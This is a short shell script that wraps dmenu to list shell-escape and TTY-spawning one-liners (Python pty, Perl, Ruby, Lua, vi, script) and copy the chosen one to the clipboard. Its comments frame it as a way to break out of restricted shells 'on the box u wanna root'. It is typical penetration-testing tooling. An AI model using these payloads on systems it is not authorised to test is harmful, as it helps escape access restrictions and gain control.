spawntty.sh 2.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960
  1. #!/bin/sh
  2. # -- Just a dmenu wrapper --
  3. # Just some payloads that are
  4. # helping u exit those restricted
  5. # shellZ(spawn a tty) on the box u wanna root
  6. # Created by M4t35Z
  7. # Inspired by:
  8. # https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
  9. # shell copypasta
  10. ## sh
  11. sh_shell="/bin/sh -i"
  12. ## python
  13. python1_shell="python3 -c 'import pty; pty.spawn("\""/bin/sh"\"")'"
  14. python2_shell="python3 -c "\""__import__('pty').spawn('/bin/bash')"\"""
  15. python3_shell="python3 -c "\""__import__('subprocess').call(['/bin/bash'])"\"""
  16. ## perl
  17. perl1_shell="perl -e 'exec "\""/bin/sh"\"";'"
  18. perl2_shell="perl -e 'print \`/bin/bash\`'"
  19. ## ruby
  20. ruby1_shell="exec "\""/bin/sh"\"""
  21. ## lua
  22. lua1_shell="os.execute('/bin/sh')"
  23. ## vi
  24. vi1_shell="set shell=/bin/bash"
  25. ## script
  26. script1_shell="/usr/bin/script -qc /bin/bash /dev/null"
  27. # ---
  28. # texts
  29. sh_text="sh -> $sh_shell"
  30. python1_text="py1 (basic pty + sh) -> $python1_shell"
  31. python2_text="py2 (__ escape + bash) -> $python2_shell"
  32. python3_text="py3 (subprocess + bash) -> $python3_shell"
  33. perl1_text="pl1 (sh) -> $perl1_shell"
  34. perl2_text="pl2 (\` + bash) -> $perl2_shell"
  35. ruby1_text="rb1 -> $ruby1_shell"
  36. lua1_text="lua1 -> $lua1_shell"
  37. vi1_text="vi (to command mode :D) -> $vi1_shell"
  38. script1_text="script -> $script1_shell"
  39. # ---
  40. case "$(printf "$sh_text\\n$python1_text\\n$python2_text\\n$python3_text\\n$perl1_text\\n$perl2_text\\n$ruby1_text\\n$lua1_text\\n$vi1_text\\n$script1_text" | dmenu -l 10 -i -p "L1573n3rZ")" in
  41. "$sh_text") echo -n "$sh_shell" | xclip -selection clipboard ;;
  42. "$python1_text") echo -n "$python1_shell" | xclip -selection clipboard ;;
  43. "$python2_text") echo -n "$python2_shell" | xclip -selection clipboard ;;
  44. "$python3_text") echo -n "$python3_shell" | xclip -selection clipboard ;;
  45. "$perl1_text") echo -n "$perl1_shell" | xclip -selection clipboard ;;
  46. "$perl2_text") echo -n "$perl2_shell" | xclip -selection clipboard ;;
  47. "$ruby1_text") echo -n "$ruby1_shell" | xclip -selection clipboard ;;
  48. "$lua1_text") echo -n "$lua1_shell" | xclip -selection clipboard ;;
  49. "$vi1_text") echo -n "$vi1_shell" | xclip -selection clipboard ;;
  50. "$script1_text") echo -n "$script1_shell" | xclip -selection clipboard ;;
  51. esac